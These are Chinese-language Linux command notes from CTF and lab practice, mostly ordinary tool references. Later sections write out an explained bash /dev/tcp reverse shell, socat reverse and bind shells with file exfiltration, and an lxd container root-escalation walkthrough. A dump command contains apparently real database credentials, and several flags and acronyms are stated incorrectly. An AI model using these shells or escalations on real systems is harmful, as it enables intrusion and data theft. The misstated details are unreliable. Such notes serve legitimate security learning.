0%

linux指令笔记

靶场或者平时遇到的linux指令记录

Linux 常用指令笔记

==awk== 文本处理工具

功能:逐行处理文本,自动分割字段(默认以空格/Tab分隔)

核心变量

变量 说明
$0 整行内容
$1 第一列
$2 第二列
...
$NF 最后一列
$NR 行数 (可以判断时候用 比如$NR %2 ==0

常用参数

参数 说明
-F 指定字段分隔符
-f 指定外部脚本文件
-v 传递外部变量到awk脚本

示例

1
2
3
4
5
6
7
8
9
10
11
# 使用逗号分隔符,打印第二列
awk -F ',' '{print $2}' filename

# 打印最后一列和整行
awk '{print $NF, $0}' file

# 条件处理(打印第一列大于10的行)
awk '$1 > 10 {print $0}' data.txt

#提取每一行的最后一个字符 并且去掉换行
cat a.txt | awk '{print substr($0,length($0)-1,1)}' | tr -d '\n'

knockd 服务

配置文件:/etc/knockd.conf

功能:

端口敲击服务,通过特定端口访问序列触发防火墙规则

应用示例

1
2
3
4
5
# 按顺序敲击端口 1111,2222,3333
knock -v 192.168.1.10 1111 2222 3333

# 测试端口开放情况
nmap -p 80 192.168.1.10

grep 文本搜索工具

元字符表

元字符 功能 示例
^ 行首定位符 ^start
$ 行尾定位符 end$
.* 任意字符(0 或多个) a.*b
[] 字符集合匹配 [aeiou]
< 单词开头 <word

常用参数

参数 说明
-E 使用扩展正则表达式(等价于 grep -E = egrep
-i 比较字符时忽略大小写
-w 只匹配完整的词,等价于正则中的 \<...\>
-x 只匹配整行内容,等价于正则中的 ^...$
-v 取反,输出不符合模式的内容
-c 统计匹配到的行数(行数而非匹配的次数)
-m 只匹配规定的行数,之后不再继续匹配
-n 在输出结果中显示行号,指的是文件中原始的行号
-o 只显示匹配的部分,而非整行内容
-r 搜索所有文件,但不跟随符号链接
-R 递归搜索,适用于目录中的多个文件或目录
-B 输出匹配行之前的若干行,例如 grep -B 3 "aa" file 输出包含 “aa” 的行以及前 3 行
-A 输出匹配行之后的若干行
-C 同时显示匹配行的前后几行,等价于同时使用 -B-A

使用示例

1
2
3
4
5
6
7
grep -i "hello" file.txt # 忽略大小写查找
grep -n "pattern" file.txt # 查找文件 file.txt 中包含 "pattern" 的行,并显示行号
grep -r "pattern" /path/to/directory/ # 在 /path/to/directory 目录下递归查找包含 "pattern" 的文件
grep -o "pattern" file.txt # 在文件 file.txt 中查找 "pattern" 并只显示匹配到的部分
grep -v "error" log.txt # 输出 log.txt 中不包含 "error" 的行
grep -A 3 "error" log.txt # 在文件 log.txt 中查找 "error" 并显示该行以及之后的 3

nc (Netcat) 网络工具

常用参数

参数 说明
-l 监听模式
-v 显示详细信息
-n 禁用 DNS 解析
-p PORT 指定本地端口
-u UDP 模式
-e CMD 连接后执行命令
-w TIME 设置连接超时,单位为秒
-z 扫描模式,不发送数据,只进行端口扫描

使用示例

1
2
3
4
5
6
7
8
# 监听端口 4444
nc -lp 4444

# 发送文件
nc -w 3 192.168.1.100 4444 < file.txt

# UDP端口扫描
nc -zuv 192.168.1.1 1-1000

sudo 权限管理

配置文件:/etc/sudoers

典型配置

1
2
3
4
5
6
7
8
9
10
11
# 允许用户免密码执行所有命令
username ALL=(ALL) NOPASSWD: ALL

# 允许组执行特定命令
%admin ALL=/usr/bin/apt update

# root 用户可以在任何主机上、以任何用户身份以及任何组身份执行所有命令。
root ALL=(ALL:ALL) ALL

# sudo 组的成员可以在任何主机上、以任何用户身份和任何组身份执行所有命令。
%sudo ALL=(ALL:ALL) ALL

drush (Drupal Shell)

(Drush = Drupal + Shell) 就是使用命令行命令来操作 Drupal 站点,它的命令格式与 git 类似,都是双字命令(drush + 实际的命令)。为了使用 Drush,必须先告诉 Drush 要操作哪个站点,一个最直接的方法是将当前目录转到要想操作的站点目录下,Drush 就自动将操作应用于当前目录下的站点
常用指令:
启用模块 / 禁用模块

1
2
drush en/dis project_name  
drush pm-uninstall modulename #先禁用再删除

卸载模块

1
drush pmu module -y

数据库导出 (在导出之前 drush cc all)

1
2
3
4
5
drush sql-dump > DB.sql  
drush sql-dump –gzip > DB.tar.gz ### 导出数据库并压缩
mysqldump -p site > db.sql
drush sql-dump > db.sql —gzip —result=/backups/example.sql
mysqldump -h192.168.42.1 -uyuc -pQ5p94qAk47 –databases intg_hit >hit.sql

查看用户信息

1
2
3
drush user-information biaoge,maike  
给 maike 一个 member 的角色
drush urol member maike

新建会员

1
drush ucrt zhangsan –password=111111

创建新用户

1
drush user-create 用户名 --mail="邮箱" --password="密码"

修改密码
php scripts/password-hash.sh 'yourpassword'
drush upwd root --password="****"
UPDATE users SET name='admin', pass='$S$DfQ/y58nGpZvyRLYd3LSyJ.s82xSC3Z.2oxdCIL4EHKAYcQnDl9T' WHERE uid = 1**;
drush -status 查看版本等信息

scp 安全文件传输

scp 是一个基于 SSH 协议的文件传输工具,用于在本地与远程主机之间或两台远程主机之间安全地拷贝文件。scp 的全称是 Secure Copy,它的用法与 cp 类似,但支持远程文件传输

使用示例

1
2
3
4
5
6
7
8
# 下载远程文件
scp user@remote:/path/file.txt local_dir

# 上传目录(递归)
scp -r local_dir user@remote:/path/

# 指定端口
scp -P 2222 file.txt user@remote:/path/

ps

ps 是 Linux 和 Unix 系统中用于查看当前系统中运行的进程状态的命令。它是 Process Status 的缩写,提供系统中活动进程的信息

常用参数

选项 作用
-e 显示所有进程。
-f 全格式显示进程信息(包含父进程等信息)。
-u [user] 显示某个用户的进程。
-p [pid] 显示特定进程的详细信息。
-a 显示所有终端相关的进程(不包括会话首进程)。
-x 显示没有控制终端的进程(后台进程)。
-l 长格式显示进程信息。
--forest 显示进程的层级结构。

一般用-ef

apache2

访问文件的目录是/var/www/html 访问记录在/var/log/apache2/access.log

tac

cat指令反过来 让数据从最后一行开始颠倒 但是每行内容不变 适合题目给了一个passwords文件 从后面开始爆破

/var/mail

存放用户邮件的地方 里面可能有有用的信息

/etc/release

这个目录下有两个文件可以查看当前linux的版本信息

1
2
3
4
5
6
/etc/os-release: 包含全面的发行版信息,适用于大多数现代 Linux 发行版。
/etc/issue: 显示简短的版本信息,通常在登录时出现。
/etc/debian_version: 适用于基于 Debian 的系统,如 Ubuntu。
/etc/redhat-release: 适用于基于 RHEL 的系统,如 CentOS 和 Fedora。
/etc/centos-release: 适用于 CentOS 系统。
/etc/hostname: 显示主机名,而非版本信息

tar

常用参数

参数 说明
-x 提取归档文件中的内容。用于将归档文件解压缩并提取其中的文件。
-f 指定归档文件的名称。此选项后面必须跟上文件路径或文件名,用于告诉命令操作的文件。
-v 显示详细信息。在解压缩或归档时,使用此选项将列出正在处理的文件名,帮助用户追踪过程。
-z 如果归档是 gzip 压缩的,则解压。用于解压缩 .gz 格式的文件。
-j 如果归档是 bzip2 压缩的,则解压。用于解压缩 .bz2 格式的文件。
-J 如果归档是 xz 压缩的,则解压。用于解压缩 .xz 格式的文件。
-c 将输出发送到标准输出,而不是直接写入文件。常用于将归档内容输出到屏幕或另一个命令。
-t 测试归档文件是否完整,检查归档中的文件是否可以正常解压缩。
-u 更新归档文件。仅将比归档中现有文件更新的文件添加到归档。
-p 保留文件的原始权限和时间戳。在解压时不更改文件的时间戳和权限。

使用示例

1
2
3
4
5
# 创建压缩包
tar czvf archive.tar.gz dir/

# 解压到指定目录
tar xzvf archive.tar.gz -C /target/dir

find

find一个文件 后面可以跟上 -exec指定每找到一个就执行的命令 比如 -exec whami ; 后面要加上反斜杠和封号 告诉find不用解析后面的内容了(需要做的命令就这些)

常用参数和示例

参数 说明 示例
-username 指定用户名 find /home -username user1
-group 指定组 find /home -group admin
-type 指定要找的文件类型 find / -type f(查找普通文件)
find / -type d(查找目录)
-name 按文件名查找 find /home -name "*.txt"
-size 按文件大小查找 find / -size +10M(查找大于10MB的文件)
-mtime 按修改时间查找 find / -mtime -7(查找最近7天内修改的文件)
-exec 对找到的文件执行命令 find / -name "*.log" -exec rm {} \;
-perm 按权限查找 find / -perm 644
-user 按文件所有者查找 find / -user user1
-maxdepth 设置查找的最大深度 find / -maxdepth 2

–break-system-packages

新的kali和ubuntu中的pip指令直接安装会报错,pip3 install 后面加上这个指令才能安装(忽略风险)推荐使用docker安装

exiftool

exiftool 是一个功能强大的命令行工具,用于读取、修改和删除文件的元数据(metadata)。它支持多种文件格式,包括图片、视频、音频、PDF 等,常用于处理 EXIF、IPTC、XMP 等类型的元信息。

常用参数

参数 说明 示例
-common 显示常见的元数据信息 exiftool -common image.jpg
-all 显示所有元数据 exiftool -all image.jpg
-overwrite_original 修改文件时不生成备份 exiftool -overwrite_original -Artist="John Doe" image.jpg
-Author 设置作者信息 exiftool -Author="John Doe" image.jpg
-DateTimeOriginal 修改拍摄时间 exiftool -DateTimeOriginal="2024:01:30 12:00:00" image.jpg
-GPSLatitude & -GPSLongitude 设置GPS坐标 exiftool -GPSLatitude=40.7128 -GPSLongitude=-74.0060 image.jpg
-r 递归处理目录 exiftool -r -all /path/to/images
-d 格式化时间输出 exiftool -d "%Y-%m-%d %H:%M:%S" image.jpg
-delete_original 删除备份文件 exiftool -delete_original image.jpg
-tagsFromFile 从另一个文件复制元数据 exiftool -tagsFromFile source.jpg target.jpg
-fast 加快处理速度,但可能略微降低准确性 exiftool -fast image.jpg
-b 以二进制格式提取数据 exiftool -b -ThumbnailImage image.jpg > thumb.jpg
-P 保留原始文件修改时间 exiftool -P -Artist="Jane Doe" image.jpg
-X 以XML格式导出元数据 exiftool -X image.jpg > metadata.xml
-csv 以CSV格式导出元数据 exiftool -csv image.jpg > metadata.csv

curl

curl 是一个非常强大的命令行工具,用于向服务器发送请求并接收响应。它支持多种协议(如 HTTP、HTTPS、FTP 等),常用于下载文件、测试接口、提交数据等操作。

参数 说明 示例
-o 保存输出到指定文件 curl -o output.html https://example.com
-O 以远程文件名保存 curl -O https://example.com/file.zip
-L 跟随重定向 curl -L https://example.com
-I 仅获取 HTTP 头信息 curl -I https://example.com
-X 指定 HTTP 方法 curl -X POST https://example.com/api
-H 添加 HTTP 头 curl -H "Authorization: Bearer TOKEN" https://api.example.com
-d 发送 POST 数据 curl -d "name=John&age=30" -X POST https://example.com/form
-F 上传文件 curl -F "file=@image.jpg" https://example.com/upload
-u 认证(用户名:密码) curl -u user:pass https://example.com/login
-k 跳过 SSL 证书验证 curl -k https://self-signed.example.com

-X 指定访问方式 POST GET PUT
–data 指定具体参数

tldr

它旨在提供简洁的命令行指令使用示例和说明,帮助用户快速了解命令的基本用法。

1
tldr [命令名称]

gocr

gocr 是一个在 Linux 等系统中用于光学字符识别(OCR)的工具,它可以将图像中的文字提取并转换为可编辑的文本格式

1
gocr image.jpg

doas

doas是一个用于在类 Unix 系统中以其他用户身份(通常是超级用户root)执行命令的工具,类似于susudo。以下是关于doas的基本信息和常用参数:

1
2
-n:不询问密码执行命令。但这需要在 doas 的配置文件中进行相应设置,允许特定用户或用户组在不输入密码的情况下执行某些命令。例如,在配置允许的情况下,doas -n some_command 可以直接执行命令而无需输入密码。
-v:显示 doas 的版本信息。

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 以 root 身份执行命令(类似 sudo)
doas ls /root

# 以特定用户身份执行命令
doas -u user ls /home/user
------------------------------
(下面是配置文件中的内容)
# 允许用户执行所有命令(/etc/doas.conf)
permit username

# 允许用户以 root 身份执行指定命令
permit username as root cmd /sbin/shutdown

# 允许用户无需密码执行某些命令
permit nopass username as root cmd /sbin/reboot

dig

dig(Domain Information Groper)是一个用于查询 DNS(Domain Name System)信息的强大工具,在 Linux 系统中非常常用

在 dig 命令中,AXFR 是一种查询类型,用于请求 DNS 区域传输( Authoritative Xerox File Replication)。它用于从主 DNS 服务器获取整个 DNS 区域的所有记录,通常用于备份 DNS 记录或在主 / 辅助 DNS 服务器之间同步数据。

1
dig @<DNS服务器> <域名> AXFR

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 查询域名的 A 记录
dig example.com A

# 查询域名的 MX 记录(邮件服务器)
dig example.com MX

# 使用指定的 DNS 服务器(如 8.8.8.8)进行查询
dig @8.8.8.8 example.com

# 获取简短的查询结果
dig example.com +short

# 追踪 DNS 解析过程
dig example.com +trace

#从指定dns服务器上查询,用@符号
dig @8.8.8.8 abc.filterinto.com

#-x
dig @8.8.8.8 abc.filterinto.com

#精简输出 +short
dig +short abc.filterinto.com

resolv.conf

resolv.conf 是一个在类 Unix 系统(如 Linux、Unix、macOS 等)中非常重要的配置文件,它主要用于配置系统的 DNS(域名系统)解析相关信息。

  • 在大多数 Linux 系统中,resolv.conf 通常位于 /etc/resolv.conf

/etc/bind

/etc/bind 是在 BIND(Berkeley Internet Name Domain)DNS 服务器软件的常见配置目录。BIND 是一个广泛使用的开源 DNS 服务器软件,用于实现域名解析服务。

tr

tr 命令主要用于字符的替换、删除和压缩,它从标准输入读取数据,并将处理结果输出到标准输出。

1
tr [选项] SET1 [SET2]
  • -c:使用 SET1 的补集。即操作除 SET1 中字符以外的所有字符。
  • -d:删除 SET1 中的字符,而不是替换它们。
  • -s:将连续重复的字符压缩为一个字符。

通常只能用来单个字符

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 将小写字母转换为大写
echo "hello world" | tr 'a-z' 'A-Z'
# 输出: HELLO WORLD

# 删除数字
echo "abc123xyz" | tr -d '0-9'
# 输出: abcxyz

# 压缩连续的空格为单个空格
echo "hello world" | tr -s ' '
# 输出: hello world

# 只保留字母,删除所有非字母字符
echo "a1b2c3d4" | tr -cd 'a-zA-Z'
# 输出: abcd

sed

sed(Stream Editor)是一个强大的流编辑器,它可以对文本流进行各种操作,包括查找、替换、删除、插入等。sed 主要用于对文件或标准输入进行逐行处理,并将处理结果输出。

  • s/模式/替换内容/g:这是最常用的命令,用于进行字符串替换。
    • s 表示替换操作。
    • 模式 是要查找和替换的内容。
    • 替换内容 是替换后的内容。
    • g 表示全局替换,即对每一行中出现的所有匹配模式进行替换。如果不使用 g,则只替换每行中的第一个匹配项。
  • d:删除匹配模式的行。
  • p:打印匹配模式的行。

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 替换字符串
echo "hello world" | sed 's/world/universe/'
# 输出: hello universe

# 全局替换
echo "apple banana apple" | sed 's/apple/orange/g'
# 输出: orange banana orange

# 删除包含特定字符串的行
echo -e "line1\nline2\nline3" | sed '/line2/d'
# 输出:
# line1
# line3

# 打印匹配行
echo -e "foo\nbar\nbaz" | sed -n '/ba/p'
# 输出:
# bar
# baz

# 仅替换第一行匹配项
echo -e "apple\napple\napple" | sed '1s/apple/orange/'
# 输出:
# orange
# apple
# apple

alias

在 Linux 系统中,alias 是一个用于创建命令快捷方式的功能。通过 alias,你可以将复杂或常用的命令定义为简短的名称,从而提高效率并减少重复输入。

openssl

1
2
3
4
5
6
7
8
9
# AES 解密
openssl enc -d -aes-256-cbc -in encrypted.txt -out decrypted.txt -k password

# DES 解密
openssl enc -d -des-ede3-cbc -in encrypted.txt -out decrypted.txt -k password

# RSA 解密
openssl rsautl -decrypt -in encrypted.txt -inkey private_key.pem -out decrypted.txt

参数解释:
openssl enc: 这个命令用于对称加密或解密,enc 表示使用加密算法。

-d: 解密模式,表示对加密文件进行解密操作。
-aes-256-cbc: 指定加密算法为 AES,使用 256 位密钥和 CBC 模式。
-des-ede3-cbc: 指定加密算法为 DES,使用 3 重加密 (EDE3) 和 CBC 模式。
-in encrypted.txt: 输入的加密文件。
-out decrypted.txt: 解密后的输出文件。
-k password: 密钥,通常是密码形式的字符串,用于解密过程。
openssl rsautl: 用于进行 RSA 加密、解密或签名验证。

-decrypt: 解密模式,用于对使用 RSA 加密的文件进行解密。
-in encrypted.txt: 输入的加密文件。
-inkey private_key.pem: 指定私钥文件,私钥用于解密操作。
-out decrypted.txt: 解密后的输出文件。

xargs

  • 将标准输入传递给其他命令。例如,echo “file1 file2 file3” | xargs ls,这条命令先通过echo输出文件名列表,然后xargs将这些文件名作为参数传递给ls命令,实现列出这些文件的信息。
  • -n选项可指定每次传递给命令的参数数量。例如echo {1..10} | xargs -n 3 echo,会将输入的数字每 3 个一组传递给echo命令,实现分组输出

id_rsa

这个文件通常存的是ssh的私钥 可以用ssh -i id_rsa来进行ssh 登录 但是这个文件的权限要先chmod 600
公钥文件权限是644

~/.ssh/authorized_keys

~/.ssh/authorized_keys 是一个 公钥认证 文件,它存储的是 可以用于无密码 SSH 登录该账户的公钥

作用

当你尝试通过 SSH 登录到一个账户时(比如 ssh user@host),SSH 服务器会检查 ~/.ssh/authorized_keys 文件,如果其中包含与你的私钥匹配的公钥,就允许你登录,而 无需输入密码
~/.ssh/authorized_keys 支持在公钥前面指定 command= 选项,这样 每次有人使用该公钥登录时,就会自动执行指定的命令,而不会启动普通的 shell。

用私钥生成公钥

1
ssh-keygen -y -f id_rsa > authorized_keys

📌 说明

  • -y:从私钥中提取公钥
  • -f id_rsa:指定私钥文件
  • > authorized_keys:输出公钥到文件

smb

Samba 简介

在 Linux 中,SMB(Server Message Block)服务是一种网络文件共享协议,通常用于在网络中共享文件、打印机和其他资源。
SMB 最初由 Microsoft 开发,并且是 Windows 操作系统中广泛使用的文件共享协议。
在 Linux 系统中,SMB 服务通常由 Samba 软件提供支持。

主要功能

文件共享:允许在不同操作系统之间共享文件和目录。
打印机共享:允许在网络中共享打印机。
网络浏览:允许计算机查看和浏览网络中的共享资源。

主要配置文件

/etc/samba/smb.conf:Samba 的主要配置文件,管理员在此设置共享目录、访问权限等。
smbclient:命令行工具,用于连接和访问 SMB 共享资源。

smbclient 参数和使用

-L:列出共享资源的信息。

-U:指定连接时使用的用户名。

//:指定共享资源的路径,通常以 //<服务器地址>/<共享名称> 的格式指定。

示例:访问 server 上的共享目录 share:

1
smbclient //server/share -U username
1
2
3
4
5
6
7
8
9
-W:指定工作组名。

-I:指定目标服务器的 IP 地址。

-c:直接执行命令,不进入交互模式。

-p:指定端口号,默认是 445。

-N:跳过用户名密码提示,使用匿名方式。

常用操作
下载文件:使用 get 命令下载文件。
上传文件:使用 put 命令上传文件。

ftp

FTP(File Transfer Protocol,文件传输协议)是一种用于在网络上传输文件的标准协议。它使用客户端 - 服务器模型,客户端通过 FTP 连接到服务器,上传或下载文件。FTP 默认使用端口 21
ftp username@ip 登录ftp 如果要匿名登录 用户名就用anonymous

1
ftp anonymous@ftp.example.com

常用交互命令(登录后使用)

命令 说明 示例
user 重新输入用户名 user anonymous
pass 输入密码(匿名登录可留空) pass
binary 设置为二进制传输模式 binary
ascii 设置为文本传输模式 ascii
get 下载单个文件 get file.txt
mget 下载多个文件(支持通配符) mget *.log
put 上传单个文件 put backup.zip
mput 上传多个文件(支持通配符) mput *.jpg
passive 切换被动模式状态 passive
ls 列出远程目录文件 ls /pub
cd 切换远程目录 cd /downloads
lcd 切换本地目录 lcd ~/Documents
quit/bye 退出 FTP 会话 quit

getcap

getcap 用于列出和显示指定文件的能力。能力是通过文件系统附加在可执行文件上的特定权限,能够控制该程序在运行时执行某些特权操作(如网络访问、文件访问等),而不需要完全的 root 权限。
getcap <file> 显示指定文件的能力信息
getcap -r <directory> 递归地列出指定目录及其子目录下所有文件的能力信息。
getcap -v <file> 显示文件的详细能力信息

能力(Capabilities)示例

  • cap_net_raw
    允许程序使用原始网络套接字(例如执行 ping 命令)。
  • cap_dac_read_search
    允许程序绕过文件的读和搜索权限检查。
  • cap_sys_admin
    允许程序执行许多系统管理操作,相当于 root 权限。
  • cap_chown
    允许程序更改文件的所有者和组。
  • cap_setuid
    允许程序更改自己的用户 ID。
    使用时用/usr/sbin/getcap 这个目录下的权限更高 能找到更多文件

ln

ln 是 Linux 系统中的 创建链接命令,用于创建 硬链接 或 符号链接(软链接)。

常用参数

选项 作用
-s 创建符号链接(软链接)
-f 强制覆盖已存在的链接
-v 显示详细信息
-n 取消对目标的符号链接解析

bash -i >& /dev/tcp/[ip]/1234 0>&1

反弹shell指令

bash -i

bash 是 Unix 系统上的一个常用 shell(命令行解释器)。bash 可以启动交互式或非交互式 shell。
-i 选项使 bash 启动为交互式 shell,这意味着 shell 会尝试从标准输入读取命令并打印标准输出。交互式 shell 还会加载用户的配置文件(例如 .bashrc),使其行为与普通终端相似。

>& /dev/tcp/192.168.240.83/1234

& 是 Bash 中用于重定向输出的语法,它将文件描述符从一个地方重定向到另一个地方。
/dev/tcp/192.168.240.83/1234 是一个特殊的文件路径,它是 Bash 内置的一种方式,通过 TCP 连接发送和接收数据。它表示一个 TCP 连接,其中 192.168.240.83 是目标 IP 地址,1234 是目标端口号。
这种方式允许 Bash 将输出流重定向到一个 TCP 连接,而不是普通的文件或终端。这使得 Bash 可以将输出(如命令的执行结果)发送到远程主机。
所以,>& /dev/tcp/192.168.240.83/1234 将 bash 的标准输出(STDOUT)和标准错误(STDERR)都重定向到目标机器的 IP 地址 192.168.240.83,并通过端口 1234 发送。

0>&1

0 代表标准输入(stdin)。

&1 将标准输入重定向到标准输出。这意味着输入流会从 TCP 连接而不是终端接收。
通过这一部分,bash 的标准输入(命令输入)会从远程机器的 TCP 连接接收,而不是从用户的终端接收。
综合解释
整个命令的作用是:
启动一个交互式 Bash shell (bash -i)。
将标准输出和标准错误输出重定向到一个 TCP 连接,目标 IP 为 192.168.240.83,目标端口为 1234。
将标准输入重定向到 TCP 连接,从远程机器接收输入。
反向 Shell
这行命令的作用就是创建一个反向 shell。受害主机通过 bash 连接到攻击者的机器,并通过一个指定的端口(这里是 1234)与攻击者进行交互:

stty raw -echo; fg (美化终端)

stty raw -echo; fg 是一个组合命令,通常用于恢复终端的正常行为或从后台恢复一个挂起的任务。
刚才用了script -qc /bin/bash /dev/null然后ctrl+z挂起了那个回话
再输入reset xterm升级终端
然后再输入当前kali的stty的行数列数 先用stty -a获取行数列数
然后在web shell中输入 stty rows 34 columns 115
完整美化终端操作:

1
2
3
4
5
6
7
script -qc /bin/bash /dev/null
ctrl + z挂起
stty raw -echo; fg
reset
xterm
本机stty -a 查看自己的 rows columns
stty rows 35 columns 115

当创建/使用的文件名中有–时,要在命令中加上– 告诉命令后面的不是参数,因为默认–后面跟着参数

pts

PTS(Pseudo Terminal Slave,伪终端从设备)是一种 伪终端(Pseudo Terminal, PTY) 设备,它用于支持终端仿真,如 SSH 连接、screen、tmux、script、expect 等工具。它通常与 PTY 主设备(Master) 配对,用于提供交互式终端访问。
在 Linux 或 macOS 中,当你打开一个新的终端会话(如 ssh 远程连接、tmux 分屏、或 screen 会话),系统会为你分配一个 伪终端设备,通常格式为:

1
/dev/pts/N

docker

名称查看配置文件:docker inspect
列出所有容器: docker ps -a
进入容器的交互式shell : docker exec -it <container_id_or_name> /bin/bash
查看所有卷: docker volume ls
删除卷:docker volume rm <volume_name>

wc

wcword count)是一个用于统计文件内容的命令,能够计算 行数、单词数、字符数和字节数

常用参数

选项 作用
-l 只统计行数(Lines)
-w 只统计单词数(Words)
-c 只统计字节数(Bytes)
-m 只统计字符数(Characters),与 -c 类似,但 -m 适用于多字节字符(如 UTF-8)
-L 输出最长行的字符数

sulogin

suloginSingle User Login(单用户模式登录) 的命令,通常用于 Linux/Unix 在单用户模式(维护模式)下,以 root 身份登录,用于修复系统或执行维护任务。
基本用法

1
sulogin [OPTIONS] [TTY]
选项 含义
-p 单用户 Shell 调用一个破折号作为参数中的第一个字符
-t 程序只会等待用户输入指定秒数
ENVIRONMENT VARIABLES
sulogin looks for the environment variable SUSHELL or sushell to determine what shell to start. If the environment variable is not set, it will try to execute root’s shell from /etc/passwd. If that fails, it will fall
back to /bin/sh.
说明SUSHELL这个环境变量可以指定启动什么shell

cron定时任务

cronLinux/Unix 系统中的定时任务调度工具,可用于 定期执行脚本、命令或程序,适用于 自动备份、日志清理、定时任务等场景
相关路径

文件 / 目录 作用
/etc/crontab 系统级 crontab 配置,所有用户共享
/var/spool/cron/crontabs/ 存放用户的 crontab 任务文件(不能手动编辑)
/etc/cron.d/ 存放系统定时任务,格式与 /etc/crontab 相同
/etc/cron.hourly/ 每小时 执行的脚本目录
/etc/cron.daily/ 每天 执行的脚本目录
/etc/cron.weekly/ 每周 执行的脚本目录
/etc/cron.monthly/ 每月 执行的脚本目录
/var/log/syslog/var/log/cron 存放 cron 执行日志(不同系统路径可能不同)

lxd

LXD 是一个 root 进程,它负责执行任意用户的 LXD UNIX 套接字写入访问操作。而且在某些情况下,LXD 甚至都不会调用它的用户权限进行检查和匹配

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于 Chroot 和完整开发的虚拟机之间,LXC 可以创建一个跟正常 Linux 操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而 LXD 是基于 LXC 容器技术实现的,而这种技术之前 Docker 也使用过。LXD 使用了稳定的 LXC API 来完成所有的后台容器管理工作,并且增加了 REST API 支持,更进一步地提升了用户体验度。
如果一个普通用户属于 lxd 组,那么他就可以:

  • 创建 LXD 容器
  • security.privileged=true 的方式运行容器(即让容器以 root 权限运行)
  • 挂载宿主机的目录到容器中,理论上可以访问整个文件系统

由于 lxd 进程是以 root 权限运行的,而 lxd 组用户可以控制 lxd,所以它本质上是一个 “权限升级的入口”
(2)提权流程

核心思想

  1. 利用 LXD 组权限 创建一个 特权(privileged)容器,该容器将以 root 运行。
  2. 挂载宿主机的根目录 到容器的 /mnt/root 目录,使得容器内部可以直接访问宿主机的文件系统。
  3. 进入容器后,利用 chroot 进入 /mnt/root,从而获得宿主机的 root 权限。
    提权详细过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#(1)获取 Alpine Linux 镜像
wget http://攻击机IP/alpine-v3.13-x86_64-20210218_0139.tar.gz

#lxd初始化
lxd init #一路回车

#然后导入镜像:
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias image_name

#创建特权容器
lxc init image_name ignite -c security.privileged=true

#挂载宿主机的根目录
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

#启动并进入容器
lxc start ignite
lxc exec ignite /bin/sh

#切换到宿主机环境
chroot /mnt/root

socat端口转发

socat 主要用于在两个数据流之间建立双向通信。例如,可以在本地监听一个端口,并将数据转发到远程服务器上的指定端口。

本地端口转发(将本地端口流量转发到远程)

示例:本地监听 8080,将请求转发到 192.168.1.100:80

1
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

远程端口转发(将远程端口的流量转发到本地)

示例:监听远程服务器的 9000 端口,并转发到本地的 8080 端口

1
socat TCP-LISTEN:9000,reuseaddr,fork TCP:127.0.0.1:8080

反向代理(将访问远程端口的请求转发到另一个远程地址)

示例:监听本地 4444 端口,并转发到远程 10.10.10.10:5555

1
socat TCP-LISTEN:4444,reuseaddr,fork TCP:10.10.10.10:5555

UDP端口转发

1
socat UDP-LISTEN:9999,reuseaddr,fork UDP:192.168.1.200:53

反向 Shell(监听远程主机的反连)

示例:受控机器通过 socat 连接到攻击机 4444 端口,并提供交互式 shell

1
socat TCP:攻击机IP:4444 EXEC:"/bin/bash",pty,stderr,sigint,setsid,sane
  • reuseaddr:允许端口重用,避免 “端口已被占用” 的问题。
  • fork:让 socat 处理多个连接,而不是只接受一个。
    上面的指令最后加上&,让它在后台进行

此外socat还可进行读取文件,写入文件,sudo提权,等等 https://gtfobins.github.io/gtfobins/socat/

功能 命令 作用
受限环境逃逸 socat stdin exec:/bin/sh 在受限环境中获取交互式 shell
反向 shell socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane 目标机向攻击者回连 shell
绑定 shell socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane 目标机监听端口,攻击者连接获取 shell
文件上传 socat -u file:$LFILE tcp-connect:$RHOST:$RPORT 目标机向攻击者上传文件
文件下载 socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat 攻击者向目标机发送文件
文件写入 socat -u 'exec:echo DATA' "open:$LFILE,creat" 在目标机写入数据
文件读取 socat -u "file:$LFILE" - 读取文件内容
sudo 提权 sudo socat stdin exec:/bin/sh 如果 socat 可用 sudo,则可获取 root shell
SUID 提权 sudo install -m =xs $(which socat) . 复制 socat 并利用 SUID 提权

netstat -lntup

netstat -lntup 是 Linux 下用于查看当前监听的网络端口及其对应进程的命令。

参数解析

  • -l (--listening):显示 正在监听 的端口(即服务在等待连接)。
  • -n (--numeric):以 数字格式 显示 IP 和端口(不解析域名)。
  • -t (--tcp):显示 TCP 端口。
  • -u (--udp):显示 UDP 端口。
  • -p (--programs):显示 进程信息(如进程 ID 和名称)。

ss

sssocket statistics)是 netstat 的现代替代工具,用于显示套接字(socket)相关信息。它比 netstat 更快,占用更少的系统资源,并且默认安装在大多数 Linux 发行版上。

🔹 常见选项

选项 作用
-t 显示 TCP 连接
-u 显示 UDP 连接
-l 仅显示监听(LISTEN)端口
-n 不解析主机名和端口(显示数字)
-p 显示进程 PID 和名称
-a 显示所有连接(包括监听和已建立的)
-s 显示套接字统计信息
-i 显示详细的内部信息
-4 仅显示 IPv4 连接
-6 仅显示 IPv6 连接
查看正在使用的端口就用
1
ss -tulnp

shansum

以sha1sum举例。sha1sum 是 Linux 中用来计算文件或字符串的 SHA-1 哈希值 的命令。SHA-1(Secure Hash Algorithm 1)是一种常见的哈希算法,输出 160 位(20 字节)的哈希值,通常用 40 个十六进制字符表示。

基本用法

1
sha1sum <filename>

常用选项

选项 说明 示例
-b 以二进制模式计算哈希 sha1sum -b file.txt
-c 校验文件是否与提供的哈希值匹配 sha1sum -c file.sha1
--check -c 相同,校验文件的哈希值 sha1sum --check file.sha1
--quiet 在校验时不输出任何信息,只有错误时显示 sha1sum --check --quiet file.sha1
-t 指定输出哈希值的长度(默认是 40) sha1sum -t 20 file.txt
-h 显示帮助信息

nl

